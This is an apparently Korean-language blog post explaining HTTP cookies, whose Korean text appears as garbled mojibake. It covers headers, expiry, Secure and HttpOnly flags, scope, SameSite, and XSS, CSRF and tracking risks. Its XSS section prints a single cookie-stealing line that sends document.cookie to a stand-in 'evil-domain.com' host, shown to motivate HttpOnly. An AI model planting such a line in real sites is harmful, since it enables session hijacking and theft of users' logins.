HTTP ์ฟ ํค
HTTP ์ฟ ํค๋?
HTTP์ฟ ํค๋ ์๋ฒ๊ฐ ์ฌ์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์ ์ ์กํ๋ ์์ ๋ฐ์ดํฐ ํ์ผ์ด๋ค. ํจ์ ค๊ณผ ๊ทธ๋ ํ ์์ ์ฃผ์ธ๊ณต์ด ๊ธธ์ ์ง๋๋ฉฐ ๋จ๊ธด ๋นต ๋ถ์ค๋ฌ๊ธฐ์ ๊ฐ๋ค๊ณ ํด์ ๋ถ์ฌ์ง ์ด๋ฆ์ด๋ค. ํด๋ผ์ด์ธํธ๋ ๊ทธ ๋ฐ์ดํฐ ํ์ผ์ ์ ์ฅํด ๋์๋ค๊ฐ, ๋์ผํ ์๋ฒ์ ์ฌ ์์ฒญํ ๋ ์ ์กํ๋ค. ์ฟ ํค๋ ์์ฒญ์ ๋ณด๋ธ ๋ธ๋ผ์ฐ์ ๋ฅผ ์๋ณํ๋ ๋ฐ ์ฃผ๋ก ์ฌ์ฉํ๋ฉฐ, ์ํ๊ฐ ์๋(stateless) HTTP ํ๋กํ ์ฝ์์ ์ํ ์ ๋ณด๋ฅผ ๊ธฐ์ต์์ผ์ค๋ค.
์ฟ ํค์ ๋ชฉ์
- ์ธ์
๊ด๋ฆฌ(Session management)
- ์๋ฒ์ ์ ์ฅํด์ผ ํ ๋ก๊ทธ์ธ, ์ฅ๋ฐ๊ตฌ๋, ๊ฒ์ ์ค์ฝ์ด ๋ฑ์ ์ ๋ณด ๊ด๋ฆฌ
- ๊ฐ์ธํ(Personalization)
- ์ฌ์ฉ์ ์ ํธ, ํ ๋ง ๋ฑ์ ์ธํ
- ํธ๋ํน(Tracking)
- ์ฌ์ฉ์ ํ๋์ ๊ธฐ๋กํ๊ณ ๋ถ์ํ๋ ์ฉ๋
ํด๋ผ์ด์ธํธ ์ธก์ ๋ฐ์ดํฐ ์ ์ฅ
๋ฐ์ดํฐ๋ฅผ ํด๋ผ์ด์ธํธ ์ธก์ ์ ์ฅํ ๋ ์ฟ ํค๋ฅผ ์ฌ์ฉํ๋ ๊ณผ๊ฑฐ์ ๋ฌ๋ฆฌ ์ง๊ธ์ modern storage APIs๋ฅผ ์ฌ์ฉํ ๊ฒ์ด ๊ถ์ฅ๋๋ค. ์ฟ ํค๋ ๋ชจ๋ ์์ฒญ๋ง๋ค ํจ๊ป ์ ์ก๋๊ธฐ ๋๋ฌธ์ ์ฑ๋ฅ์ด ์ ํ๋ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์ ์ฅ๋ ์ฟ ํค ๋ณด๊ธฐ
- ๊ฐ๋ฐ์ ๋๊ตฌ > Storage Inspector -> ์คํ ๋ฆฌ์ง ํธ๋ฆฌ์ ์ฟ ํค ์คํ ๋ฆฌ์ง
์ฟ ํค ๋ง๋ค๊ธฐ
Set-Cookie ์๋ตํค๋์ Cookie ์์ฒญํค๋
Set-Cookie
: ์๋ฒ: ํด๋ผ์ด์ธํธ์ผ ์ฟ ํค ์ ์ฅํด!
1
2
Set-Cookie: ์ฟ ํค์ด๋ฆ=์ฟ ํค๊ฐ
Set-Cookie: ์ฟ ํค์ด๋ฆ=์ฟ ํค๊ฐ
Cookie
: ๋ธ๋ผ์ฐ์ : ์๋ฒ๋ก ์ด์ ์ ์ ์ฅํ๋ ๋ชจ๋ ์ฟ ํค๋ค ํ์
1
Cookie: ์ฟ ํค์ด๋ฆ1=์ฟ ํค๊ฐ1; ์ฟ ํค์ด๋ฆ2=์ฟ ํค๊ฐ2
Session ์ฟ ํค์ Permanent ์ฟ ํค
Expires
๋ Max-Age
๋ฅผ ๋ช
์ํ์ง ์์ ๊ฒฝ์ฐ ํด๋ผ์ด์ธํธ๊ฐ ์ข
๋ฃ๋๋ฉด ์ญ์ ๋๋ Session ์ฟ ํค๊ฐ ๋๋ค. ๋ช
์ํ๋ฉด ํด๋ผ์ด์ธํธ๊ฐ ๋ซํ ๋ ๋ง๋ฃ๋์ง ์๋ Permanent ์ฟ ํค๊ฐ ๋๋ค.
1
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; // Permanent ์ฟ ํค
Secure ์ฟ ํค์ HttpOnly ์ฟ ํค
์ฟ ํค์ Secure ์ต์ ์ ์ค ๊ฒฝ์ฐ Https ํ๋กํ ์ฝ ์์์ ์ํธํ๋ ์์ฒญ์ผ ๊ฒฝ์ฐ๋ง ์ ์ก๋๋ค. HttpOnly ์ต์ ์ ์ค ๊ฒฝ์ฐ, ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ์ฟ ํค ๊ฐ์ ์ ๊ทผํ๋ ๊ฒ์ ๋ง์ Cross-site ์คํฌ๋ฆฝํ ๊ณต๊ฒฉ์ ๋๊ทธ๋ฌ๋จ๋ฆฌ๋ ๋ฐ ๋์์ ์ค ์ ์๋ค.
์ฟ ํค์ ์ค์ฝํ: Domain๊ณผ Path ์์ฑ
Domain
๊ณผPath
๋๋ ํฐ๋ธ๋ฅผ ํตํด ํน์ ๋๋ฉ์ธ ํน์ ๊ฒฝ๋ก ์ ํ ์ค์ ์ด ๊ฐ๋ฅํ๋ค.Domain
: ์๋ธ๋๋ฉ์ธ ํฌํจ- ์๋ฅผ ๋ค์ด,
Domain=naver.com
๊ฐ ์ค์ ๋๋ฉด ์ฟ ํค๋ค์ดdict.naver.com
,news.naver.com
๊ณผ ๊ฐ์ ์๋ธ ๋๋ฉ์ธ ์์๋ ํฌํจ๋๋ค.
- ์๋ฅผ ๋ค์ด,
Path
: ์๋ธ ๋๋ ํ ๋ฆฌ ํฌํจ- ์๋ฅผ ๋ค์ด,
Path=/docs
๊ฐ ์ค์ ๋๋ฉด ์ฟ ํค๋ค์ด/docs
,docs/Web/
,docs/HTTP
์ ๊ฐ์ ์๋ธ ๋๋ ํ ๋ฆฌ ์์๋ ํฌํจ๋๋ค.
- ์๋ฅผ ๋ค์ด,
SameSite ์ฟ ํค
SameSite ์ฟ ํค๋ ์ฟ ํค๊ฐ cross-site ์์ฒญ๊ณผ ํจ๊ป ์ ์ก๋์ง ์๊ฒ ํ๋ค.
Document.cookie๋ฅผ ์ฌ์ฉํ ์๋ฐ์คํฌ๋ฆฝํธ ์ ๊ทผ
Document.cookie
๋ฅผ ์ฌ์ฉํด ์ฟ ํค๋ฅผ ๋ง๋ค์ด๋ผ ์ ์๋ค.HttpOnly
ํ๋๊ทธ๊ฐ ์ค์ ์ด๋์ง ์์ ๊ฒฝ์ฐ ๊ธฐ๋ณธ ์ฟ ํค๋ค์ ์๋ฐ์คํฌ๋ฆฝํธ๋ก๋ถํฐ ์ ์ ๊ทผ๋ ์ ์๋ค
1
2
3
4
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy+cookie=choco; tasty_cookie=strawberry";
๋ณด์
์ธ์ ํ์ด์ฌํน๊ณผ XSS(Cross-Site Script)
์ธ์ ํ์ด์ฌํน์ด๋ ์๋ฒ์ ํด๋ผ์ด์ธํธ ์ฌ์ด์์ ์ด๋ฃจ์ด์ง๋ ํต์ ์ ๋๊ฒจ์ ํด๋ผ์ด์ธํธ๊ฐ ์๋ฒ๋ก ๋ถ์ด ์๋ ์ธ์ ์ ํ์ทจํด์ค๋ ๊ธฐ์ ์ด๋ค. XSS(Cross-Site Script, ์ฌ์ดํธ ๊ฐ ์คํฌ๋ฆฝํ )๋ ๊ถํ์ด ์๋ ์ ์ ๊ฐ ์ฌ์ดํธ ๋ด์ ์ ์์ ์ธ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ์ฌ์ฉ์์ ์ฟ ํค, ์ธ์ ๋ฑ์ ํ์ทจํ๊ฑฐ๋, ์๋ํ์ง ์์ ๋น์ ์์ ์ธ ํ์๋ฅผ ํ๊ฒ๋ ์ ๋ํ ์ ์๋ ์ทจ์ฝ์ ์ด๋ค.
HTTP ํต์ ์ Statelessํ๊ธฐ ๋๋ฌธ์ ๊ธฐ๋ณธ์ ์ผ๋ก๋ ๋ก๊ทธ์ธ์ ํด๋ ํ์ด์ง ์ด๋ ์ ๋ก๊ทธ์์์ด ๋ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ ์๋ฒ๋ ์ธ์ ์ ์ด์ฉํ์ฌ ๋ก๊ทธ์ธ ์ํ๋ฅผ ๊ธฐ์ตํ๋ค. ์๋ฒ๋ Session ID๋ฅผ ์ฌ์ฉ์์๊ฒ ๋ถ์ฌํด์ฃผ๊ณ ์ฌ์ฉ์๋ ์ฟ ํค๋ฅผ ์ด์ฉํด Session ID๋ฅผ ์ ์ฅํ๋ค. ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์์ ์๋ฒ ์ฌ์ด์ ๋ถ์ฌ๋ ์ธ์ ์ ๊ฐ๋ก์ฑ ํด๋น ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์ฌ์ดํธ๋ฅผ ์ ๊ทผํ ์ ์๊ฒ ๋๋ค. ์์ ๊ณตํ์ ์ฌ์ฉํ๊ฑฐ๋ ์ ํ๋ฆฌ์ผ์ด์ ๋ด์ XSS ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์ฟ ํค๋ฅผ ๊ฐ๋ก์ฑ ์ ์๋ค.
1
(new Image()).src = "https://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
๊ทธ๋ ๋ค๋ฉด ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด์๋ ์ด๋ป๊ฒ ํด์ผ ํ ๊น? ์ฟ ํค์ HttpOnly
์์ฑ์ ์ฃผ๋ฉด ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ์ฟ ํค ๊ฐ์ ์ ๊ทผํ๋ ๊ฒ์ ๋ง์ ๊ณต๊ฒฉ์ ๋๊ทธ๋ฌ๋จ๋ฆฌ๋ ๋ฐ ๋์์ ์ค ์ ์๋ค.
Cross-site ์์ฒญ ์์กฐ (CSRF)
๋ถํน์ ๋ค์๋ฅผ ๋์์ผ๋ก ๋ก๊ทธ์ธ๋ ์ฌ์ฉ์๊ฐ ์์ ์ ์์ง์๋ ๋ฌด๊ดํ๊ฒ ๊ณต๊ฒฉ์๊ฐ ์๋ํ ํ์(์์ , ์ญ์ , ๋ฑ๋ก ๋ฑ)์ ์์ฒญํ๊ฒ ํ๋ ๊ณต๊ฒฉ์ด๋ค. XXS์ ์ด์ฉํ ๊ณต๊ฒฉ์ด ์ฌ์ฉ์๊ฐ ํน์ ์น์ฌ์ดํธ๋ฅผ ์ ์ฉํ๋ ์ ์ ๋ ธ๋ฆฐ ๊ฒ์ด๋ผ๋ฉด, ์ฌ์ดํธ๊ฐ ์์ฒญ ์์กฐ๋ ํน์ ์น์ฌ์ดํธ๊ฐ ์ฌ์ฉ์์ ์น๋ธ๋ผ์ฐ์ ๋ฅผ ์ ์ฉํ๋ ์ํ๋ฅผ ๋ ธ๋ฆฐ ๊ฒ์ด๋ค. ์ฌ์ฉ์๊ฐ ์น์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ํ์์ ์ฌ์ดํธ๊ฐ ์์ฒญ ์์กฐ ๊ณต๊ฒฉ ์ฝ๋๊ฐ ์ฝ์ ๋ ํ์ด์ง๋ฅผ ์ด๋ฉด, ๊ณต๊ฒฉ ๋์์ด ๋๋ ์น์ฌ์ดํธ๋ ์์กฐ๋ ๊ณต๊ฒฉ ๋ช ๋ น์ด ๋ฏฟ์ ์ ์๋ ์ฌ์ฉ์๋ก๋ถํฐ ๋ฐ์ก๋ ๊ฒ์ผ๋ก ํ๋จํ๊ฒ ๋์ด ๊ณต๊ฒฉ์ ๋ ธ์ถ๋๋ค.
ํธ๋ํน๊ณผ ํ๋ผ์ด๋ฒ์
์๋ํํฐ ์ฟ ํค
ํผ์คํธํํฐ ์ฟ ํค๋ ์น์ฌ์ดํธ ์ด์์๊ฐ, ์๋ํํฐ๋ ์ธ๋ถ ์ ์ฒด๊ฐ ์ฌ๋ ๊ฒ์ด๋ค. ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ํํฐ ์ฟ ํค๋ฅผ ์ง์ํ๋ฉด ์ฟ ํค๋ฅผ ์ธํฐ๋ท ๊ด๊ณ ์ ์ฒด ๋ฑ ์ 3์์๊ฒ ์ ๊ณตํ๋ ๊ฒ์ผ๋ก ๊ธฐ์ ๊ด๊ณ ์ ์ฃผ์ ์์์ด ๋๋ค. ๊ด๊ณ ์ฃผ๋ ํด๋น ์ฟ ํค๋ก ์ด์ฉ์ ์ฑํฅ์ ํ์ ํด ํ๊ฒํ ๊ด๊ณ ๋ฅผ ํ ์ ์๋ค. ๊ทธ๋ฌ๋ ์ด๋ก ์ธํ ๊ฐ์ธ ์ ๋ณด ์นจํด ๋ฌธ์ ๋ก ์ต๊ทผ ๋ง์ ๋ธ๋ผ์ฐ์ ์์ ์๋ํํฐ ์ฟ ํค ์ง์์ ์ค๋จํ๊ฒ ๋ค๊ณ ๋ฐํํ๋ค.
DNT ์์ฒญ ํค๋ (Do Not Track)
์ฌ์ดํธ ๋ด๋ถ ํน์ ์ฌ์ดํธ๊ฐ ํธ๋ํน ๋ชจ๋๋ฅผ ๋นํ์ฑํํ๋ ์ ํธ๋ก ์ฌ์ฉ๋๋ค.
์ข๋น ์ฟ ํค์ ์๋ฒ์ฟ ํค
์ข๋น ์ฟ ํค๋ ์ญ์ ์ดํ์ ๋ค์ ์์ฑ๋๋ ์ฟ ํค์ด๋ค. ํด๋ผ์ด์ธํธ ์ธก ์คํฌ๋ฆฝํธ๊ฐ ์ฌ๋ฌ ๊ณณ(์น ์คํ ๋ฆฌ์ง API, Flash๋ก์ปฌ ๊ณต์ ๊ฐ์ฒด ๋ฑ)์ ์ฟ ํค ๋ด์ฉ์ ์ ์ฅํ๊ณ , ์คํฌ๋ฆฝํธ๊ฐ ์ฟ ํค๊ฐ ์์์ ์์์ฐจ๋ฆฌ๋ฉด ๊ฐ ์์น์ ์ ์ฅ๋์ด ์๋ ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ฟ ํค๋ฅผ ์ฌ์์ฑํ๋ค. Evercookie๋ ์ข๋น ์ฟ ํค๋ฅผ ์์ฐํ๋ ์๋ฐ์คํฌ๋ฆฝํธ ๊ธฐ๋ฐ ์ดํ๋ฆฌ์ผ์ด์ ์ด๋ค.
Reference
https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
์ํ์ฝ๋ฉ: Node.js - ์ฟ ํค์ ์ธ์ฆ ์๋ฆฌ์ฆ: https://youtu.be/i51xW3eh-T4
http://it.chosun.com/site/data/html_dir/2020/02/16/2020021600579.html
https://gmyankee.tistory.com/86
http://wiki-camp.appspot.com/%5B%EB%B2%88%EC%97%AD%5D_HTTP_Cookie_%28Wikipedia%29?rev=2
https://ko.wikipedia.org/wiki/%EC%B6%94%EC%A0%81_%EA%B8%88%EC%A7%80